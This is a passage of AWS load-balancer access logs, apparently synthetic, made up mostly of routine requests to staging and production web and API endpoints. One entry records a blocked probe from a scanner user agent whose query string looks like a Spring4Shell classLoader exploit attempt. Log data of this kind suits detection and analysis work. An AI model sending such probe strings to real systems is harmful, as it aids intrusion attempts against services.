(Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5cf-9ec4d748d9a547fbbe08502b" "staging-alb.example.com" "-" 4 2024-11-01T01:00:47.482754Z "forward" "-" "-" "181.40.54.157:443" "200" "-" "-" +https 2024-11-01T01:00:47.966636Z prod-api-alb 123.223.14.108:54729 10.0.45.194:443 0.076013 0.452602 0.092064 200 200 413 11979 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5cf-b4052fd5d3a3430dae32f185" "prod-api-alb.example.com" "-" 3 2024-11-01T01:00:47.966636Z "forward" "-" "-" "10.0.45.194:443" "200" "-" "-" +http 2024-11-01T01:00:49.947763Z staging-alb 234.120.114.95:25406 224.58.208.45:443 0.128151 0.627093 0.060947 301 301 73 9818 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5d1-0be2ab150e9b4fccbadc69a0" "staging-alb.example.com" "-" 0 2024-11-01T01:00:49.947763Z "forward" "-" "-" "224.58.208.45:443" "301" "-" "-" +https 2024-11-01T01:00:50.905395Z staging-alb 86.23.246.158:44123 192.58.56.228:443 0.040922 0.485346 0.099705 200 200 795 12848 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5d2-b59b761bf64c40e08a9f0420" "staging-alb.example.com" "-" 7 2024-11-01T01:00:50.905395Z "forward" "-" "-" "192.58.56.228:443" "200" "-" "-" +https 2024-11-01T01:00:51.071339Z prod-web-alb 165.64.173.232:11757 10.0.132.252:443 0.026014 0.185638 0.092918 200 200 127 892 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5d3-4d0d6944c89349a78b15f59f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:00:51.071339Z "forward" "-" "-" "10.0.132.252:443" "200" "-" "-" +https 2024-11-01T01:00:53.022581Z prod-web-alb 122.113.72.172:14307 10.0.230.68:443 0.017391 0.103758 0.047197 200 200 59 5672 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5d5-3a7a090484874583bf3bcdea" "prod-web-alb.example.com" "-" 8 2024-11-01T01:00:53.022581Z "forward" "-" "-" "10.0.230.68:443" "200" "-" "-" +https 2024-11-01T01:00:54.110604Z prod-api-alb 66.73.206.4:43894 10.0.189.154:443 0.093791 0.006735 0.094974 301 301 551 9016 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5d6-625b82905fe64452a78000e9" "prod-api-alb.example.com" "-" 4 2024-11-01T01:00:54.110604Z "forward" "-" "-" "10.0.189.154:443" "301" "-" "-" +https 2024-11-01T01:00:55.110617Z prod-web-alb 233.160.210.156:45349 10.0.185.61:443 0.062269 0.018512 0.024989 404 404 272 956 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5d7-4d51598e26244a0c8622ed01" "prod-web-alb.example.com" "-" 5 2024-11-01T01:00:55.110617Z "forward" "-" "-" "10.0.185.61:443" "404" "-" "-" +https 2024-11-01T01:00:55.295168Z prod-api-alb 176.179.97.45:55842 10.0.237.79:443 0.094141 0.385514 0.042113 200 200 869 14737 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5d7-77b9cabcb5a9410c834de7df" "prod-api-alb.example.com" "-" 10 2024-11-01T01:00:55.295168Z "forward" "-" "-" "10.0.237.79:443" "200" "-" "-" +http 2024-11-01T01:00:55.829861Z staging-alb 117.22.202.9:53863 153.226.105.87:80 0.086061 0.054781 0.072200 404 404 294 9978 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5d7-30520ec4799b4c5a8613532d" "staging-alb.example.com" "-" 10 2024-11-01T01:00:55.829861Z "forward" "-" "-" "153.226.105.87:80" "404" "-" "-" +https 2024-11-01T01:00:57.310087Z staging-alb 151.20.239.61:38533 88.177.88.138:443 0.133072 0.208197 0.132850 404 404 102 1474 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5d9-0ba70d6ee52b4584bd262d78" "staging-alb.example.com" "-" 7 2024-11-01T01:00:57.310087Z "forward" "-" "-" "88.177.88.138:443" "404" "-" "-" +https 2024-11-01T01:00:58.208076Z prod-web-alb 200.229.61.223:26759 10.0.134.246:443 0.012081 0.305500 0.029962 301 301 67 13962 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5da-5566ab328bcb46aeb995b9e5" "prod-web-alb.example.com" "-" 9 2024-11-01T01:00:58.208076Z "forward" "-" "-" "10.0.134.246:443" "301" "-" "-" +https 2024-11-01T01:00:59.813541Z staging-alb 133.176.220.19:49396 114.188.155.85:80 0.082310 0.228709 0.110597 302 302 887 2202 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5db-f55d103b701a41f4be5522c6" "staging-alb.example.com" "-" 1 2024-11-01T01:00:59.813541Z "forward" "-" "-" "114.188.155.85:80" "302" "-" "-" +https 2024-11-01T01:01:01.261698Z prod-api-alb 236.19.75.24:51779 10.0.43.20:443 0.079386 0.313495 0.094518 302 302 585 5601 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5dd-007bfdd59c6240a29f2ad0c4" "prod-api-alb.example.com" "-" 3 2024-11-01T01:01:01.261698Z "forward" "-" "-" "10.0.43.20:443" "302" "-" "-" +https 2024-11-01T01:01:03.006750Z prod-web-alb 29.148.94.191:10055 10.0.54.160:443 0.048398 0.336510 0.076774 404 404 27 12354 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5df-e5a16e3c8229431dabb1c9a8" "prod-web-alb.example.com" "-" 10 2024-11-01T01:01:03.006750Z "forward" "-" "-" "10.0.54.160:443" "404" "-" "-" +https 2024-11-01T01:01:03.848495Z prod-api-alb 153.239.200.57:48856 10.0.22.43:443 0.062353 0.152077 0.052801 301 301 991 6428 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5df-9aa0d33f01ef493192960413" "prod-api-alb.example.com" "-" 7 2024-11-01T01:01:03.848495Z "forward" "-" "-" "10.0.22.43:443" "301" "-" "-" +https 2024-11-01T01:01:04.729598Z prod-api-alb 120.82.240.6:34702 10.0.149.29:443 0.040040 0.447927 0.077161 200 200 726 12046 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5e0-0278d19081744efd8506efd0" "prod-api-alb.example.com" "-" 3 2024-11-01T01:01:04.729598Z "forward" "-" "-" "10.0.149.29:443" "200" "-" "-" +https 2024-11-01T01:01:06.701584Z staging-alb 136.151.191.255:64514 126.56.129.149:80 0.107267 0.673001 0.047739 301 301 424 10021 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5e2-35b3ce986f004a52ad27e16e" "staging-alb.example.com" "-" 1 2024-11-01T01:01:06.701584Z "forward" "-" "-" "126.56.129.149:80" "301" "-" "-" +https 2024-11-01T01:01:07.432856Z prod-api-alb 179.91.145.202:30460 10.0.224.75:443 0.032134 0.179683 0.067043 302 302 82 14678 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5e3-ba1b433ddf884280b2273808" "prod-api-alb.example.com" "-" 2 2024-11-01T01:01:07.432856Z "forward" "-" "-" "10.0.224.75:443" "302" "-" "-" +https 2024-11-01T01:01:08.373782Z staging-alb 190.60.11.159:10514 239.184.95.114:8080 0.068818 0.211000 0.094523 404 404 478 3330 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5e4-0e48c4e45ae148f29fcd26ed" "staging-alb.example.com" "-" 6 2024-11-01T01:01:08.373782Z "forward" "-" "-" "239.184.95.114:8080" "404" "-" "-" +https 2024-11-01T01:01:10.083500Z prod-api-alb 191.162.114.203:39334 10.0.119.118:443 0.046763 0.053893 0.096922 200 200 571 8586 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5e6-84d6adca413342a59dc345f5" "prod-api-alb.example.com" "-" 2 2024-11-01T01:01:10.083500Z "forward" "-" "-" "10.0.119.118:443" "200" "-" "-" +https 2024-11-01T01:01:11.574306Z prod-web-alb 14.241.74.188:23831 10.0.54.243:443 0.016852 0.419852 0.033301 404 404 160 1077 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5e7-4a988897aa4e406eac9380aa" "prod-web-alb.example.com" "-" 8 2024-11-01T01:01:11.574306Z "forward" "-" "-" "10.0.54.243:443" "404" "-" "-" +http 2024-11-01T01:01:13.221870Z staging-alb 84.211.82.66:50997 61.219.9.223:80 0.080530 0.142919 0.117873 200 200 144 14060 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5e9-500e83083d154201a825bbc3" "staging-alb.example.com" "-" 3 2024-11-01T01:01:13.221870Z "forward" "-" "-" "61.219.9.223:80" "200" "-" "-" +https 2024-11-01T01:01:13.944149Z prod-api-alb 213.125.8.140:53799 10.0.209.82:443 0.033970 0.009879 0.001289 200 200 917 9701 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5e9-209729667bb64089834d9e92" "prod-api-alb.example.com" "-" 3 2024-11-01T01:01:13.944149Z "forward" "-" "-" "10.0.209.82:443" "200" "-" "-" +https 2024-11-01T01:01:15.581064Z staging-alb 153.169.209.33:50827 135.21.12.190:8080 0.019467 0.457492 0.083320 200 200 113 1229 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5eb-2321e3f359af4867b6626fa2" "staging-alb.example.com" "-" 5 2024-11-01T01:01:15.581064Z "forward" "-" "-" "135.21.12.190:8080" "200" "-" "-" +https 2024-11-01T01:01:17.327873Z prod-api-alb 103.195.14.131:47123 10.0.31.50:443 0.060121 0.320818 0.053020 200 200 370 395 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5ed-9014f2015e4148c88d408fa9" "prod-api-alb.example.com" "-" 7 2024-11-01T01:01:17.327873Z "forward" "-" "-" "10.0.31.50:443" "200" "-" "-" +https 2024-11-01T01:01:18.608670Z staging-alb 51.238.48.84:36165 122.171.92.252:80 0.037808 0.749086 0.093379 200 200 841 10440 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5ee-d886c1e9c92d41878979cc68" "staging-alb.example.com" "-" 0 2024-11-01T01:01:18.608670Z "forward" "-" "-" "122.171.92.252:80" "200" "-" "-" +https 2024-11-01T01:01:20.475832Z prod-web-alb 247.99.180.140:19399 10.0.212.44:443 0.026038 0.125860 0.031617 200 200 641 7330 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5f0-4e58365e06fd4ba48c3dffb5" "prod-web-alb.example.com" "-" 8 2024-11-01T01:01:20.475832Z "forward" "-" "-" "10.0.212.44:443" "200" "-" "-" +https 2024-11-01T01:01:21.075638Z prod-api-alb 10.135.25.104:32314 10.0.237.230:443 0.031324 0.114749 0.090969 200 200 610 2110 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5f1-c67f1d98e13f43d3afa8af37" "prod-api-alb.example.com" "-" 4 2024-11-01T01:01:21.075638Z "forward" "-" "-" "10.0.237.230:443" "200" "-" "-" +https 2024-11-01T01:01:22.413851Z staging-alb 179.249.110.127:64516 49.28.189.150:443 0.026181 0.417730 0.114503 200 200 498 13362 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5f2-ad0f07b323d6433ca03a1d08" "staging-alb.example.com" "-" 2 2024-11-01T01:01:22.413851Z "forward" "-" "-" "49.28.189.150:443" "200" "-" "-" +https 2024-11-01T01:01:23.585699Z prod-api-alb 59.52.93.196:26592 10.0.97.115:443 0.026307 0.356490 0.029088 200 200 931 700 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5f3-60e41b2e5c3d4a638ee17365" "prod-api-alb.example.com" "-" 4 2024-11-01T01:01:23.585699Z "forward" "-" "-" "10.0.97.115:443" "200" "-" "-" +https 2024-11-01T01:01:23.966766Z prod-api-alb 193.201.18.20:41653 10.0.248.199:443 0.092999 0.036524 0.019076 200 200 658 12659 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5f3-503e93b72d6d4011abff29e9" "prod-api-alb.example.com" "-" 6 2024-11-01T01:01:23.966766Z "forward" "-" "-" "10.0.248.199:443" "200" "-" "-" +http 2024-11-01T01:01:25.746607Z staging-alb 116.181.177.14:25102 246.248.119.82:80 0.111909 0.423451 0.039384 200 200 846 904 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5f5-189b4cb0989e44e5ac926afa" "staging-alb.example.com" "-" 4 2024-11-01T01:01:25.746607Z "forward" "-" "-" "246.248.119.82:80" "200" "-" "-" +https 2024-11-01T01:01:25.917577Z prod-web-alb 177.72.187.67:13120 10.0.175.153:443 0.072879 0.126382 0.027327 302 302 756 11533 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5f5-8f2163b2a99e4352b9e3692f" "prod-web-alb.example.com" "-" 6 2024-11-01T01:01:25.917577Z "forward" "-" "-" "10.0.175.153:443" "302" "-" "-" +https 2024-11-01T01:01:26.277870Z prod-web-alb 210.138.61.124:30776 10.0.108.249:443 0.056178 0.050291 0.099138 200 200 870 6149 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5f6-4a2d7f6281fe48658b8e4b3b" "prod-web-alb.example.com" "-" 0 2024-11-01T01:01:26.277870Z "forward" "-" "-" "10.0.108.249:443" "200" "-" "-" +https 2024-11-01T01:01:28.237262Z prod-api-alb 193.27.228.126:18224 10.0.70.203:443 0.036432 0.100920 0.045890 403 403 908 5940 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5f8-d5ef760dca2241bb99edf207" "-" "-" 8 2024-11-01T01:01:28.237262Z "forward" "-" "-" "10.0.70.203:443" "403" "-" "-" +https 2024-11-01T01:01:30.149538Z staging-alb 155.119.4.250:20742 93.232.89.79:80 0.079130 0.538138 0.032488 200 200 377 8887 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5fa-5998cb2ab9164cff8e2aafcd" "staging-alb.example.com" "-" 8 2024-11-01T01:01:30.149538Z "forward" "-" "-" "93.232.89.79:80" "200" "-" "-" +https 2024-11-01T01:01:31.897627Z prod-web-alb 190.106.238.205:37963 10.0.166.47:443 0.059021 0.222919 0.029760 301 301 98 5902 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5fb-c1fba6ca35bd47c58f05a13d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:01:31.897627Z "forward" "-" "-" "10.0.166.47:443" "301" "-" "-" +https 2024-11-01T01:01:32.714445Z prod-api-alb 164.228.65.105:12741 10.0.50.137:443 0.052536 0.309871 0.057353 301 301 925 12080 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5fc-444a2d9cf10a47928d19a4de" "prod-api-alb.example.com" "-" 10 2024-11-01T01:01:32.714445Z "forward" "-" "-" "10.0.50.137:443" "301" "-" "-" +https 2024-11-01T01:01:33.074246Z prod-api-alb 1.126.69.130:12304 10.0.97.86:443 0.013866 0.148895 0.024549 200 200 247 9680 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5fd-f3f051ef69ce48f4a17c8b3a" "prod-api-alb.example.com" "-" 1 2024-11-01T01:01:33.074246Z "forward" "-" "-" "10.0.97.86:443" "200" "-" "-" +https 2024-11-01T01:01:33.218198Z prod-web-alb 253.39.26.196:31293 10.0.148.235:443 0.005382 0.069411 0.011781 200 200 372 13837 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5fd-06ad2be6d988436196d1498c" "prod-web-alb.example.com" "-" 8 2024-11-01T01:01:33.218198Z "forward" "-" "-" "10.0.148.235:443" "200" "-" "-" +https 2024-11-01T01:01:33.426165Z prod-api-alb 202.147.255.125:45415 10.0.141.153:443 0.065588 0.193009 0.099499 302 302 689 4884 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5fd-9547f9121f7248a7a047c14f" "prod-api-alb.example.com" "-" 5 2024-11-01T01:01:33.426165Z "forward" "-" "-" "10.0.141.153:443" "302" "-" "-" +https 2024-11-01T01:01:34.121631Z prod-web-alb 23.214.212.75:38865 10.0.35.146:443 0.086940 0.126341 0.087324 200 200 762 4546 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5fe-4811a3a1adb54e45950a4a25" "prod-web-alb.example.com" "-" 5 2024-11-01T01:01:34.121631Z "forward" "-" "-" "10.0.35.146:443" "200" "-" "-" +http 2024-11-01T01:01:36.001418Z staging-alb 223.151.26.118:38229 189.41.167.56:8080 0.123815 0.733454 0.000080 200 200 576 2807 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c600-5fdde0051f9046118ad861b3" "staging-alb.example.com" "-" 5 2024-11-01T01:01:36.001418Z "forward" "-" "-" "189.41.167.56:8080" "200" "-" "-" +https 2024-11-01T01:01:37.134692Z prod-web-alb 227.125.106.219:41866 10.0.103.97:443 0.042116 0.366555 0.061611 200 200 9 2815 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c601-9f9f1eb35fe649b1b652e741" "prod-web-alb.example.com" "-" 0 2024-11-01T01:01:37.134692Z "forward" "-" "-" "10.0.103.97:443" "200" "-" "-" +https 2024-11-01T01:01:38.098571Z prod-api-alb 253.52.117.239:48112 10.0.118.115:443 0.036157 0.182745 0.036819 301 301 283 10821 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c602-0484b73fdd674e5c96751b10" "prod-api-alb.example.com" "-" 5 2024-11-01T01:01:38.098571Z "forward" "-" "-" "10.0.118.115:443" "301" "-" "-" +https 2024-11-01T01:01:39.791252Z prod-api-alb 162.205.132.25:29320 10.0.180.243:443 0.094371 0.433331 0.049465 302 302 517 695 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c603-32aed57c85ea42fcb0d5fe0b" "prod-api-alb.example.com" "-" 4 2024-11-01T01:01:39.791252Z "forward" "-" "-" "10.0.180.243:443" "302" "-" "-" +https 2024-11-01T01:01:41.524878Z prod-web-alb 104.0.106.234:33546 10.0.190.62:443 0.008192 0.112031 0.049590 200 200 190 4161 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 